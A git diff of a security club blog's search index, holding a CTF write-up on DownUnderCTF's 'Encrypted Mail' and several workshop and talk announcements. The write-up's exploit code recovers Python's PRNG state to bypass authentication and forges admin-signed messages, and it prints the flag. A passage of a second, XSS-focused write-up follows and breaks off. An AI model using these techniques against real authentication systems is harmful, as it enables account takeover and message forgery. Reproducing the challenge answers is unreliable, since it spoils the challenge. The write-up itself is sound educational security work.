diff --git a/index.json b/index.json index f259eb48..1564e996 100644 --- a/index.json +++ b/index.json @@ -1 +1 @@ -[{"content":"Metadata This challenge is from DownUnderCTF 2023. I played under NUS Greyhats instead of the usual SEE and we won 1st. However I didn\u0026rsquo;t really contribute much, I joined halfway through the CTF and had other commitments and accumulated a total of only ~1000/12000 of the eventual points the whole team made.\nRegardless, I\u0026rsquo;m happy that we blooded Encrypted Mail 31 hours into the CTF (beating SEE which I betrayed, sorryyyy Neobeo and Warri). Encrypted Mail was the 2nd hardest crypto challenge, and the hardest was, unfortunately for the author Joseph, unsolved.\nChallenge Points: 449 Solves: 3 Author: joseph Zero-knowledge authentication, end-to-end encryption, this new mail app has it all. For a limited time, admins may be sending flags to users. Sign up today to get yours!\nnc 2023.ductf.dev 30000\nObjective Players are given a minimal mail-server implementation to interact with. There are 4 options to choose from:\nRegister Login Send Message View Inbox When you register, the server asks for your username and your public key $y$ that will be used during Login. The intended usage of this mail server would require you to generate a private key $x$ and generate $y$ from it.\nDuring Login, the server prompts you with a series of challenges, which should require that you know the secret private key $x$ for that account to answer the challenges correctly. This is the \u0026ldquo;zero-knowledge\u0026rdquo; part of this mail server.\nOnce you log in, you can send messages and view your inbox. To send a message, you would need to input the recipient\u0026rsquo;s username. The server then replies with the recipient\u0026rsquo;s public key. You are then required to encrypt your message with the recipient\u0026rsquo;s public key, sign the message with your private key and tell the server the resulting encrypted message and signature.\nWhen you view your inbox, the server replies with all the messages you have. However, the server replies with the encrypted messages (encrypted with your public key) and the signatures (for you to verify the sender with the sender\u0026rsquo;s public key).\nIn addition to these functionalities, there are two bot accounts.\nadmin flag_haver The admin bot checks for any new accounts and sends them an (encrypted) sweet welcome message Welcome {username}!. The flag_haver bot iterates all the messages they have, and if the message is from admin (flag_haver checks the signature) and has the following format: Send flag to {username}, flag_haver obliges and sends the flag as an (encrypted) message to the user.\nflag_haver is the only account that has access to the flag, so we must get admin to send them Send flag to {username}. However, there\u0026rsquo;s nothing that prompts admin to do such a thing, so we probably have to log into admin.\nOnce we log into admin, it appears that we still need the admin\u0026rsquo;s private key to sign the message, so that flag_haver will happily read the message.\nAttack Logging into admin We start with first logging into admin. The code for this is implemented in Authenticator\ng = 3 p = 1467036926602756933667493250084962071646332827366282684436836892199877831990586034135575089582195051935063743076951101438328248410785708278030691147763296367303874712247063207281890660681715036187155115101762255732327814001244715367 class Authenticator: def __init__(self, pubkey): self.y = pubkey def generate_challenges(self, n=128): challenges = [] answers = [] for _ in range(n): b = round(random.random()) r = random.getrandbits(p.bit_length()) c = random.getrandbits(p.bit_length()) c1 = pow(g, r, p) if b == 0: c2 = pow(g, c, p) elif b == 1: c2 = pow(self.y, r, p) answers.append(b) challenges.append((int(c1), int(c2))) self.answers = answers return challenges def verify_answers(self, answers): return len(answers) == len(self.answers) and all(a == b for a, b in zip(answers, self.answers)) The authentication scheme is a zero-knowledge variant of Diffie-Hellman (I don\u0026rsquo;t know the actual name of this variant).\nThe user is expected to randomly generate a private key $x$ and compute their public key as $g^x = y ; \\mathrm{mod} ; p$ where $p$ is a prime and $g = 3$. $p$ is a strong prime so the Discrete Logarithm Problem (DLP) is hard on $\\mathbb{Z}/p\\mathbb{Z}$ is computationally hard.\nThe server knows a user\u0026rsquo;s public key $y$ and wants the user to prove that they know their private key (without actually transmitting the private key). The server generates $128$ challenges, for each challenge, it generates a boolean $b$, and random numbers $r, c \\in [0, p)$, and computes:\n$$ \\begin{aligned} c_1 \u0026amp;= g^r \\text{ } \\mathrm{mod} \\text{ } p \\\\ c_2 \u0026amp;= \\begin{cases} y^r = g^{x r} \\text{ } \\mathrm{mod} \\text{ } p \u0026amp; \\text{if b} \\\\ g^c \\text{ } \\mathrm{mod} \\text{ } p \u0026amp; \\text{otherwise} \\end{cases} \\end{aligned} $$\nThe server then returns $c_1$ and $c_2$ for each challenge, and the user is required to recover the value of $b$ for each challenge.\nSuppose the user doesn\u0026rsquo;t know the private key $x$. Then $g^c$ and $y ^r = g^{xr}$ are utterly indistinguishable as, due to the difficulty of DLP, a user won\u0026rsquo;t be able to recover $x$ from $y$, and hence $x r$ might as well be a random number just like $c$. The user is forced to guess the value of $b$ for each challenge, and since there are $128$ challenges, the probability of passing them all is $2^{-128}$, which is unreasonably small.\nHowever, if the user does know the private key $x$, the user can simply test if $c_1^x = c_2$ to get $b$.\nWe don\u0026rsquo;t know the admin\u0026rsquo;s private key, so we\u0026rsquo;re doomed right?\n$b$ isn\u0026rsquo;t random enough Let\u0026rsquo;s look at how the challenges are generated:\nimport random # ... def generate_challenges(self, n=128): challenges = [] answers = [] for _ in range(n): b = round(random.random()) r = random.getrandbits(p.bit_length()) c = random.getrandbits(p.bit_length()) c1 = pow(g, r, p) if b == 0: c2 = pow(g, c, p) elif b == 1: c2 = pow(self.y, r, p) answers.append(b) challenges.append((int(c1), int(c2))) self.answers = answers return challenges Recall that the user is to recover $b$ which should only be possible if they know their private key. However, $b$ is generated via Python\u0026rsquo;s random module, which uses a Pseudo-random number generator (PRNG) known as MT19937.\nMT19937 initialises an internal state $u$ of $624$ 32-bit integers, and at each step, it generates a \u0026ldquo;random\u0026rdquo; 32-bit integer. Note that b = round(random.random()) is just a fancy way of selecting a bit from one of the 32-bit outputs. Taking the $624$ 32-bit integer as a vector of $624 * 32 = 19938$ bits, i.e., $u \\in F_2^{19938}$ where $F_2 = \\mathbb{Z} / 2\\mathbb{Z}$ is the field of boolean, each 32-bit output $x_m \\in F_2^{32}$ is a linear transform of $u$. I.e., for each bit of output (say bit $b_n$ for the $n$-th challenge), we can associate a known vector $v_n$ such that $v_n^T u = b_n$.\nThis means that for $N$ challenges generated by the server, we can represent the vector $\\textbf{b} = (b_1 ; b_2 ; \\cdots ; b_N)$ with a known linear transformation $V u = \\textbf{b}$, where $V = (v_1 ; v_2 ; \\cdots ; v_N)$.\nThis is huge! If we know the value of vector $\\textbf{b}$ for a large enough $N$, we can recover $u$, and compute all subsequent $b_i = v_i^T u$. I.e., we can answer all subsequent challenges and log into any user without knowing their private key!\nI found this before the hint came up btw, but as I didn\u0026rsquo;t join the discord, I didn\u0026rsquo;t see the announcement calling for feedback :(.\nHow do we get $\\textbf{b}$? Since we can answer the challenges if we log into an account we created (since we know the private key), we can simply log in as many times as needed and save the answers for the challenges.\nFurthermore, $V$ is a transform $F_2^{19938} \\rightarrow F_2^{N}$. So, to solve for $u$ given the equation $V u = \\textbf{b}$, we need $N \\ge 19938$. Since we obtain $128$ values of $b_i$ each time we log in, we would need to log in $\\lceil 19938/128 \\rceil = 156$ times.\nSmall caveat, turns out, for large enough $N$, $V$ will always have a 32-bit (or 31? I forgot) kernel, which makes recovering the exact $u$ impossible. However, since for large enough $N$ the kernel remains the same, whichever $u$ that satisfies $V u = \\textbf{b}$ for $N \\ge 19938$ allows us to compute subsequent $b_i$. This was found experimentally and if anybody knows why (I suspect it\u0026rsquo;s the twisting) do let me know.\nWe can compute $V$ in a black-box manner. We go through each of the $19938$ basis vectors of $F_2^{19938}$ by setting only one bit (say the $i$-th) of $u$ and computing $\\textbf{b}$ given such $u$. $\\textbf{b}$ will be the $i$-th column vector of $V$.\ns = random.getstate() def login_sym(bidx, n=128): new_s = (s[0], (*[int(0) if i != bidx//32 else int(1)\u0026lt;\u0026lt;int(bidx%32) for i in range(624)], s[1][-1]), s[2]) random.setstate(new_s) ret = [] for _ in range(156): for _ in range(n): b = round(random.random()) r = random.getrandbits(p.bit_length()) c = random.getrandbits(p.bit_length()) ret.append(b) return ret # prng is our transform V that transforms the internal state u # into the challenge answers prng = np.zeros((624*32, 624*32), dtype=bool) for bidx in range(624*32): print(bidx, end=\u0026#34;\\r\u0026#34;) prng[:,bidx] = login_sym(bidx) np.save(open(\u0026#34;prng_transform.npy\u0026#34;, \u0026#34;wb\u0026#34;), prng) Once we have $\\textbf{b}$, we can recover $u$ and generate the answers for the next challenge to log into any account:\nprng = np.load(open(\u0026#34;prng_transform.npy\u0026#34;, \u0026#34;rb\u0026#34;)) prng_sage = matrix(GF(2), prng.astype(int)) # bits is our b we\u0026#39;ve gotten from logging in 156 times sol = prng_sage.solve_right(vector(GF(2), bits), check=False) bvrec = list(map(int, sol)) rec_s = (s[0], (*[reduce(lambda x,y: (x\u0026lt;\u0026lt;1)+y, bvrec[i*32:i*32+32][::-1]) for i in range(624)], s[1][-1]), s[2]) # Assert that we recovered u correctly random.setstate(rec_s) rec_bits = [b for _ in range(156) for b in login_local()] assert all(x == y for x,y in zip(bits, rec_bits)) # Locally generate the answers for the 128 challenges during the next login bb = login_local() myans = \u0026#34; \u0026#34;.join(map(str, map(int, bb))).encode() This step was for me the most frustrating step. I recovered $V$ very quickly but spent at least 2 hours trying to coax numpy to do $F_2$ arithmetic. And then I gave up and loaded the matrix into sagemath. However, due to my potato computer, it takes over 20 minutes to load the matrix and after that sagemath becomes extremely unstable and crashes all the time. I ended up re-loading the matrix into sagemath at least 7 times.\nSending flag_haver a message from the admin account Now that we can log into admin, we have to send flag_haver a message. Unfortunately, we would have to sign the message with admin\u0026rsquo;s private key, which we still do not have.\ndef send(self, recipient_public_key, message): key = secrets.randbelow(2**128) key_enc = Encryptor(recipient_public_key).encrypt(key) key_enc = key_enc[0].to_bytes(96, \u0026#39;big\u0026#39;) + key_enc[1].to_bytes(96, \u0026#39;big\u0026#39;) ct = Cipher(key).encrypt(message) sig = Signer(self.private_key).sign(ct) return (key_enc + ct, sig) def receive(self, sender_public_key, ciphertext, sig): if len(ciphertext) \u0026lt; 192: return False key_enc, ct = ciphertext[:192], ciphertext[192:] if not Verifier(sender_public_key).verify(ct, sig): return False key_enc0, key_enc1 = int.from_bytes(key_enc[:96], \u0026#39;big\u0026#39;), int.from_bytes(key_enc[96:192], \u0026#39;big\u0026#39;) key = Decryptor(self.private_key).decrypt((key_enc0, key_enc1)) message = Cipher(key).decrypt(ct) return message To send a message, we randomly generate a key that gets encrypted with the recipient\u0026rsquo;s public key (we have this) into key_enc. The message gets encrypted with ct and the ct is signed with the sender\u0026rsquo;s private key (we don\u0026rsquo;t have this) to get sig. key_enc, ct and sig get sent.\nNote that the recipient will require their private key to decrypt key_enc to decrypt ct into the message, and they will also verify that ct is signed with the recipient\u0026rsquo;s private key. This should ensure that\nOnly the recipient can read the message The recipient can verify that the message is indeed from the sender. A key \u0026ldquo;weird\u0026rdquo; thing to note here is that the signature only verifies that ct is committed to the sender\u0026rsquo;s private key. key_enc isn\u0026rsquo;t. This means that while the recipient can verify that ct came from the sender, they can\u0026rsquo;t guarantee that key_enc is.\nThis means that we can:\nTake an existing encrypted and signed message sent by the admin to a user whose private key we know. In this case, it is the welcome message to the user MeowMeowMeow. Use the known private key to recover key. Modify key which in turn will change the result of the ct\u0026rsquo;s decryption. Re-encrypt key with our new recipient\u0026rsquo;s public key to get key_enc. Re-use the ct and sig from the message we got from admin and only change the key_enc. Send the modified message to the new recipient. The new recipient will successfully decrypt key_enc into our modified key due to step 4, the new recipient will think the message is indeed from admin since we did not change ct, and finally, the decrypted message will look different from what the admin has sent to MeowMeowMeow because we\u0026rsquo;ve modified key.\nNow the question is whether we can change key such that the decrypted message changes from Welcome MeowMeowMeow! to Send flag to {username} to be sent to flag_haver, where username can be anything matching [a-zA-Z0-9]{8,16} as we can simply create an account with that username and receive the flag from flag_haver. Note that the modified message has to be the same length, so username should have length $8$. To do that we need to see how Cipher(key).encrypt(message) works.\nAttacking the Cipher class Cipher: def __init__(self, key): self.n = 4 self.idx = self.n self.state = [(key \u0026gt;\u0026gt; (32 * i)) \u0026amp; 0xffffffff for i in range(self.n)] def next(self): if self.idx == self.n: for i in range(self.n): x = self.state[i] v = x \u0026gt;\u0026gt; 1 if x \u0026gt;\u0026gt; 31: v ^= 0xa9b91cc3 if x \u0026amp; 1: v ^= 0x38ab48ef self.state[i] = v ^ self.state[(i + 3) % self.n] self.idx = 0 v = self.state[self.idx] x0, x1, x2, x3, x4 = (v \u0026gt;\u0026gt; 31) \u0026amp; 1, (v \u0026gt;\u0026gt; 24) \u0026amp; 1, (v \u0026gt;\u0026gt; 18) \u0026amp; 1, (v \u0026gt;\u0026gt; 14) \u0026amp; 1, v \u0026amp; 1 y = x0 + x1 + x2 + x3 + x4 self.idx += 1 return y \u0026amp; 1 def next_byte(self): return int(\u0026#39;\u0026#39;.join([str(self.next()) for _ in range(8)]), 2) def xor(self, A, B): return bytes([a ^ b for a, b in zip(A, B)]) def encrypt(self, message): return self.xor(message, [self.next_byte() for _ in message]) def decrypt(self, ciphertext): return self.xor(ciphertext, [self.next_byte() for _ in ciphertext]) We can see that Cipher generates a stream by bytes according to the key and XORs it with the message. An interesting thing to note is that the .next method, and hence the .next_byte method, computes their output by taking a linear combination of the bits of key. This is easily seen by noting that the only operations used to update self.state and return the next byte only involve XOR and bitshifts.\nThis is extremely similar to how MT19937 works, in that for a given message of $l$ bytes, we have an associated XOR stream $x \\in F_2^{8 l}$ such that $c = m + x$ where $c$ is the ciphertext and $m$ is the message. We also have a 128-bit key $k \\in F_2^{128}$, and we can derive a fixed transform $V: F_2^{128}\\rightarrow F_2^{8 l}$ mapping $V k = x$.\nFor our use-case, we want to keep $c = m + x$ constant and compute a new key $k\u0026rsquo;$ such that $V k = x\u0026rsquo;$ and $c = m\u0026rsquo; + x\u0026rsquo;$, where $x\u0026rsquo;$ is the new byte stream and $m\u0026rsquo;$ is our target ciphertext. Note that\nWe know $k$ as this $k$ is from the welcome message and we can get $k$ by decrypting key_enc with our private key. We know $m$ as Welcome MeowMeowMeow!. We can control $m\u0026rsquo;$ and hence know $\\delta_m$ as well. Then since:\n$$ \\begin{aligned} c \u0026amp;= m + x = m\u0026rsquo; + x\u0026rsquo; = (m + \\delta_m) + x\u0026rsquo; \\\\ x\u0026rsquo; \u0026amp;= x - \\delta_m \\\\ V k\u0026rsquo; \u0026amp;= x\u0026rsquo; = x - \\delta_m \\end{aligned} $$\nThen since we can compute $x - \\delta_m$, we can easily compute $k\u0026rsquo;$\u0026hellip; provided $k\u0026rsquo;$ actually exists.\nIt turns out that while our desired $k\u0026rsquo;$ has $128$ dimensions, $V$ only has rank $121$. Practically, this means we can always find a $k\u0026rsquo;$ such that $x\u0026rsquo;$ matches $x - \\delta_m$ for the first $121$ bits, or ~$15$ bytes. I.e., a $k\u0026rsquo;$ such that $m$ matches $m\u0026rsquo;$ by ~$15$-bytes.\nUnfortunately, our target message Send flag to {username} has a minimum length of $21$ bytes since username has the constraints [a-zA-Z0-9]{8,16}, so we are $6$ bytes short. Put it another way, if we determine the first $2$ bytes of username, say username=XX??????, we are guaranteed to find $k\u0026rsquo;$ such that $m\u0026rsquo;$ will be Send flag to XX------, where - are just random bytes, and so XX------ isn\u0026rsquo;t guaranteed to satisfy the [a-zA-Z0-9]{8,16} constraint.\nHowever, we can bruteforce XX such that XX------ does indeed satisfy the constraint!\nWe can expect bruteforce to work. We bruteforce $2$ characters in [a-zA-Z0-9] which amounts to $62^2 = 3844$ possibilities. Now, the probability that the remaining $6$ characters does appear in [a-zA-Z0-9] is $(62/256)^{6}$ which is roughly one in $4955$, which is fairly close to $3844$. In the event that no such XX exists, we can try again with a different initial username (in the welcome message, which currently is MeowMeowMeow).\nIt turns out the username elSvxrjZ does work. In fact, it works regardless of what $k$ is, since if $\\exists k\u0026rsquo;$ such that $V k\u0026rsquo; = x\u0026rsquo; = x - \\delta_m = V k - \\delta_m$, then for a new encountered key $j$, we have\n$$ V j - \\delta_m = V k - \\delta_m - V (j - k) = V k\u0026rsquo; - V (j - k) = V (\\delta_k + j) $$\nSo, we can set $j\u0026rsquo; = \\delta_k + j$ as our new key.\nfrom itertools import product import re import numpy as np import random # Compute V V = [] for bidx in range(128): c = Cipher(1\u0026lt;\u0026lt;bidx) V.append([c.next() for _ in range(8*21)]) V = matrix(GF(2), np.array(V).T) msg = b\u0026#39;Welcome MeowMeowMeow!\u0026#39; allowed = \u0026#34;1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM\u0026#34; for x,y in product(allowed, repeat=2): target = f\u0026#39;Send flag to {x+y}aaaaaa\u0026#39;.encode() ct = Cipher(key).encrypt(msg) bs = vector(GF(2), [*map(int, \u0026#39;\u0026#39;.join([format(m^^c, \u0026#34;08b\u0026#34;) for m,c in zip(target, ct)]))]) kbits = V.solve_right(bs, check=False) key_rec = int(\u0026#34;\u0026#34;.join(map(str, kbits))[::-1], 2) ctt = Cipher(key_rec).encrypt(target) tar = [x^^y for x,y in zip(ctt[15:], target[15:])] nt = [x^^y for x,y in zip(tar, ct[15:])] new_target = target[:15] + bytes(nt) assert Cipher(key_rec).encrypt(new_target) == ct try: if re.fullmatch(r\u0026#39;[a-zA-Z0-9]{8,16}\u0026#39;, new_target.decode()[13:]): break except: pass print(new_target) # b\u0026#39;Send flag to elSvxrjZ\u0026#39; So, before we log into admin, we just have to create the user elSvxrjZ, log into admin and send the spoofed message (Send flag to elSvxrjZ) to flag_haver. flag_haver will send the flag to elSvxrjZ and we can log into elSvxrjZ and decrypt the flag with elSvxrjZ\u0026rsquo;s private key.\nSummary of attack Create an account with the username elSvxrjZ and save the private key. Create an account with the username MeowMeowMeow and save the private key. Log into MeowMeowMeow 156 times to get enough challenge answers to recover the random generator\u0026rsquo;s internal state. Save the welcome message the admin sent MeowMeowMeow. Locally generate the answers for the next login challenge to log into the admin without knowing the admin\u0026rsquo;s private key. Use the saved welcome message for MeowMeowMeow to fake a signed message from admin that tells flag_haver to send the flag to elSvxrjZ. flag_haver is prompted to send the flag to username elSvcrjZ. Log into elSvxrjZ and use elSvxrjZ\u0026rsquo;s private key to decrypt the message from flag_haver, which contains the flag. Flag: DUCTF{wait_its_all_linear_algebra?...always_has_been}\n","permalink":"https://nusgreyhats.org/posts/writeups/ductf-2023-encrypted-mail/","summary":"Metadata This challenge is from DownUnderCTF 2023. I played under NUS Greyhats instead of the usual SEE and we won 1st. However I didn\u0026rsquo;t really contribute much, I joined halfway through the CTF and had other commitments and accumulated a total of only ~1000/12000 of the eventual points the whole team made.\nRegardless, I\u0026rsquo;m happy that we blooded Encrypted Mail 31 hours into the CTF (beating SEE which I betrayed, sorryyyy Neobeo and Warri).","title":"[DUCTF 2023] Encrypted Mail"},{"content":"Talk Title: Hacking IoT devices: A story of stealing fingerprints\nDescription IoT devices are often resource-constrained, so we may forego certain security features because they aren\u0026rsquo;t essential to the use-case. But what if the authentication mechanisms in these devices are used in other, more critical scenarios as well? Discover how smart devices can be turned into wireless biometric thieves in this talk which explores a combination of cryptography, hardware hacking and reverse engineering.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2324s1/sw1110/","summary":"Talk Title: Hacking IoT devices: A story of stealing fingerprints\nDescription IoT devices are often resource-constrained, so we may forego certain security features because they aren\u0026rsquo;t essential to the use-case. But what if the authentication mechanisms in these devices are used in other, more critical scenarios as well? Discover how smart devices can be turned into wireless biometric thieves in this talk which explores a combination of cryptography, hardware hacking and reverse engineering.","title":"SecWed #111023"},{"content":"Talk Title: ARM Confidential Compute Architecture (ARM CCA)\nDescription ARM CCA represents the latest effort of ARM in pursuing general confidential computing. While ARM has provided a Formal Security Verification (FSV) simulation platform to help develop and test applications on ARMv9 platform, there lacks a Quick Emulator (QEMU) based simulation platform for better debugging. Upon this request, we developed a QEMU-based CCA simulation platform to more easily identify design faults in Realm applications. The source code is made available for public access.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2324s1/sw2009/","summary":"Talk Title: ARM Confidential Compute Architecture (ARM CCA)\nDescription ARM CCA represents the latest effort of ARM in pursuing general confidential computing. While ARM has provided a Formal Security Verification (FSV) simulation platform to help develop and test applications on ARMv9 platform, there lacks a Quick Emulator (QEMU) based simulation platform for better debugging. Upon this request, we developed a QEMU-based CCA simulation platform to more easily identify design faults in Realm applications.","title":"SecWed #200923"},{"content":"Talk 1: 1900Hrs - 1945Hrs Talk Title: SQLancer and Intramorphic Testing\nSpeaker Dr Manuel Rigger is an Assistant Professor leading the TEST Lab at NUS. He works on software reliability, data-centric systems, and programming language implementation. Prior to joining NUS, Manuel was a postdoc at ETH Zurich, Switzerland. He completed his PhD at Johannes Kepler University Linz, Austria.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: The IKIGAI of Cyber Security Research\nSpeaker Vicky Ray is the Director of Palo Alto Networks UNIT 42 Cyber Consulting \u0026amp; Threat Intelligence team for Asia Pacific \u0026amp; Japan, and has been leading several efforts within Palo Alto Networks since 2014. Vicky is regularly consulted by Governments, law-enforcements and executives from some of the largest enterprises globally, and is an advisor for building defensive cyber capabilities to tackle the ever growing threat from various types of cyber adversaries.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw0504/","summary":"Talk 1: 1900Hrs - 1945Hrs Talk Title: SQLancer and Intramorphic Testing\nSpeaker Dr Manuel Rigger is an Assistant Professor leading the TEST Lab at NUS. He works on software reliability, data-centric systems, and programming language implementation. Prior to joining NUS, Manuel was a postdoc at ETH Zurich, Switzerland. He completed his PhD at Johannes Kepler University Linz, Austria.\nTalk 2: 1945Hrs - 2030Hrs Talk Title: The IKIGAI of Cyber Security Research","title":"SecWed #050423"},{"content":"Talk 1: 1900Hrs - 1945Hrs Talk Title: EDGe PS (Enterprise Data Platforms, GIS and Engineering \u0026amp; Production Services)\nDescription We will cover below horizontal programs that support Cybersecurity organizations. Please note that we are a supporting function to GIS. So our focus is more on how we enable our GIS partners to do their job.\nPortfolio Management Vulnerability Risk Management. Data Center Resiliency Infrastructure Engagement, Services \u0026amp; Infrastructure Delivery GIS Application and Infrastructure production services Speaker Uma Telidevara\nSenior Vice President; APAC Enterprise Data and GIS Production Operations - regional Lead Roles \u0026amp; Responsibility: Uma Rao is responsible for APAC Enterprise Data and GIS Production Operations which provides 24x7 coverage to deliver consistent operational support services to provide timely incident detection and speedy service restoral to improve systems stability Prior Experience: Prior to joining Bank of America Merrill Lynch, Uma Rao worked for Barclays Capital, Singapore and ran the Level 2 Midrange and Distributed functions. Talk 2: 1945Hrs - 2030Hrs Talk Title: Hosting Services/Cloud\nDescription The following topics will be covered:\nIntroduction to hosting, cloud and database enterprise architecture Defence in Depth Governance and control routines Cyber response - infrastructure Speaker Taryar Win Chan\nVice President; Senior Technology Manager Background: Taryar is a Computer Engineering graduate from Nanyang Technology University and currently pursuing a Master degree at the Harvard Extension School. He started his career at Bank of America Merrill Lynch in Singapore in 2008 and has taken up different responsibilities, including a three assignment at the BofA office in New York. Presently, he is responsible for capacity planning and management, compute build and transition, and Risk liaison for APAC Hosting services team. ","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw1603/","summary":"Talk 1: 1900Hrs - 1945Hrs Talk Title: EDGe PS (Enterprise Data Platforms, GIS and Engineering \u0026amp; Production Services)\nDescription We will cover below horizontal programs that support Cybersecurity organizations. Please note that we are a supporting function to GIS. So our focus is more on how we enable our GIS partners to do their job.\nPortfolio Management Vulnerability Risk Management. Data Center Resiliency Infrastructure Engagement, Services \u0026amp; Infrastructure Delivery GIS Application and Infrastructure production services Speaker Uma Telidevara","title":"SecWed #150323"},{"content":"Title: Intermediate Web Hacking Techniques\nDescription In this workshop, we\u0026rsquo;ll look at three classes of web vulnerabilities:\nServer-side Template Injection Insecure Deserialization JavaScript Prototype Pollution Demos and mini-challenges will be provided for you to try your hand at exploiting these vulnerabilities.\nSetup A browser Docker (optional, if you would like to run demos locally) ","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw1602/","summary":"Title: Intermediate Web Hacking Techniques\nDescription In this workshop, we\u0026rsquo;ll look at three classes of web vulnerabilities:\nServer-side Template Injection Insecure Deserialization JavaScript Prototype Pollution Demos and mini-challenges will be provided for you to try your hand at exploiting these vulnerabilities.\nSetup A browser Docker (optional, if you would like to run demos locally) ","title":"SecWed #160223"},{"content":"Title: Introduction to Computer Networking \u0026amp; Wireshark workshop.\nDescription Ever wondered how information travels from your computer to the internet and back?\nJoin us in this beginner-level session, where we will share the basics of computer networking! Using a program called Wireshark, you will be able to see firsthand what happens when you send some data to the internet. Additionally, we will also be doing some fun networking forensics-related activities!\nYear 1s and those without networking knowledge are welcome!\nSetup Do bring a fully-charged laptop as power points are very limited Install Wireshark (https://www.wireshark.org/#download) before coming! Join our discord server (https://discord.gg/yj5fuevA) as workshop materials will be disseminated there ","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw0902/","summary":"Title: Introduction to Computer Networking \u0026amp; Wireshark workshop.\nDescription Ever wondered how information travels from your computer to the internet and back?\nJoin us in this beginner-level session, where we will share the basics of computer networking! Using a program called Wireshark, you will be able to see firsthand what happens when you send some data to the internet. Additionally, we will also be doing some fun networking forensics-related activities!","title":"SecWed #090223"},{"content":"Title: Tricks to RE fast\nDescription In this workshop, we will look at some commonly seen patterns in decompiler-generated C pseudocode. By being familiar with these patterns, we can very quickly predict what a piece of code does when we see something similar the next time.\nSetup: Please download Ghidra (needs Java to run). If you wish to use other decompilers (e.g. IDA), feel free to do so. However, there might be slight differences in the decompiler output.\nThis workshop focuses on static analysis, i.e. code reading. So, any OS (Windows/MacOS/Linux) and architecture (Intel/ARM) are fine, as long as you can run Ghidra.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw0102/","summary":"Title: Tricks to RE fast\nDescription In this workshop, we will look at some commonly seen patterns in decompiler-generated C pseudocode. By being familiar with these patterns, we can very quickly predict what a piece of code does when we see something similar the next time.\nSetup: Please download Ghidra (needs Java to run). If you wish to use other decompilers (e.g. IDA), feel free to do so. However, there might be slight differences in the decompiler output.","title":"SecWed #010223"},{"content":"Title: Intro to Heap Pwn (Part 2)\nDescription This is a continuation of the Heap Pwn 1 workshop. We will be going through how to setup a Dockerized environment for heap pwn so that we can target different libcs. We will also cover some tricks we can use to defeat mitigations and how our foundational knowledge can be used to solve more complicated heap problems. There will be more hands-on sessions :)\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw2601/","summary":"Title: Intro to Heap Pwn (Part 2)\nDescription This is a continuation of the Heap Pwn 1 workshop. We will be going through how to setup a Dockerized environment for heap pwn so that we can target different libcs. We will also cover some tricks we can use to defeat mitigations and how our foundational knowledge can be used to solve more complicated heap problems. There will be more hands-on sessions :)","title":"SecWed #260123"},{"content":"Title: Intro to Heap Pwn (Part 1)\nDescription How often do you use new in C++, and malloc in C? The heap is used for dynamically allocated memory supporting those operations, and we will be breaking the heap in this workshop. We will cover the basic mechanics of how the glibc malloc/free works, and various underlying structures that are used to track memory.\nWe will also cover some basic attacks against vulnerable applications, aided by pwndbg.\n","permalink":"https://nusgreyhats.org/posts/secweds/ay2223s2/sw1801/","summary":"Title: Intro to Heap Pwn (Part 1)\nDescription How often do you use new in C++, and malloc in C? The heap is used for dynamically allocated memory supporting those operations, and we will be breaking the heap in this workshop. We will cover the basic mechanics of how the glibc malloc/free works, and various underlying structures that are used to track memory.\nWe will also cover some basic attacks against vulnerable applications, aided by pwndbg.","title":"SecWed #180123"},{"content":"CarbonCredit Suisse This was a web challenge from the LakeCTF finals held in Lausanne, Switzerland that I solved together with Junhua. This ended up being a fairly straightforward XSS challenge with some additional annoyances to keep people on their toes.\nChallenge Description Schmidt Sàrl don\u0026#39;t think you can break into their web app in under a minute. Can you? http://chall.polygl0ts.ch:4100 Analysis A Docker container was provided with the challenge, containing the source code to the running instance of the webapp. A mirror is available here.\nEssentially, each time a user accesses the application root, a new \u0026ldquo;instance\u0026rdquo; is generated containing a new set of application data, and all requests are expected to be sent to the instance. After the instance is created, a Puppeteer script visits the instance and logs in with admin credentials three times in 30 second intervals, before logging in once more to delete the instance.\nHASHED_ADMIN_PASSWORD = os.getenv(\u0026#39;HASHED_ADMIN_PASSWORD\u0026#39;) FLAG = os.getenv(\u0026#34;FLAG\u0026#34;) SECRET_KEY = secrets.token_hex(32) ALGORITHM = \u0026#34;HS256\u0026#34; ACCESS_TOKEN_EXPIRE_MINUTES = 30 fake_dbs = {} def init_instance(instance): fake_dbs[instance] = { \u0026#34;instance\u0026#34;: instance, \u0026#34;users\u0026#34;: { \u0026#34;admin\u0026#34;: { \u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;full_name\u0026#34;: \u0026#34;Administrator\u0026#34;, \u0026#34;email\u0026#34;: \u0026#34;admin@epfl.ch\u0026#34;, \u0026#34;hashed_password\u0026#34;: HASHED_ADMIN_PASSWORD, \u0026#34;disabled\u0026#34;: False, \u0026#34;admin\u0026#34;: True, }, }, \u0026#34;lines\u0026#34;: [ { \u0026#34;creator_username\u0026#34;: \u0026#34;admin\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Toilet Paper\u0026#34;, \u0026#34;amount\u0026#34;: Decimal(\u0026#34;34.555\u0026#34;), }, ], } def destroy_instance(instance): del fake_dbs[instance] # ... @app.get(\u0026#34;/\u0026#34;) @app.get(\u0026#34;/index.html\u0026#34;) async def index(): instance = secrets.token_urlsafe() init_instance(instance) q.enqueue(bot.visit, instance) return RedirectResponse(f\u0026#34;/{instance}/index.html\u0026#34;) async def visit(instance): from pyppeteer import launch import asyncio import os ADMIN_PASSWORD = os.getenv(\u0026#34;ADMIN_PASSWORD\u0026#34;) url = f\u0026#34;http://carboncredit-suisse:8000/{instance}/\u0026#34; print(\u0026#34;Visiting\u0026#34;, url) browser = await launch({\u0026#34;args\u0026#34;: [\u0026#34;--no-sandbox\u0026#34;, \u0026#34;--disable-setuid-sandbox\u0026#34;]}) # while True: for _ in range(2): await asyncio.sleep(10) page = await browser.newPage() await page.goto(url) await page.click(\u0026#34;#login\u0026#34;) await page.type(\u0026#34;#login_username\u0026#34;, \u0026#34;admin\u0026#34;) await page.type(\u0026#34;#login_password\u0026#34;, ADMIN_PASSWORD) await 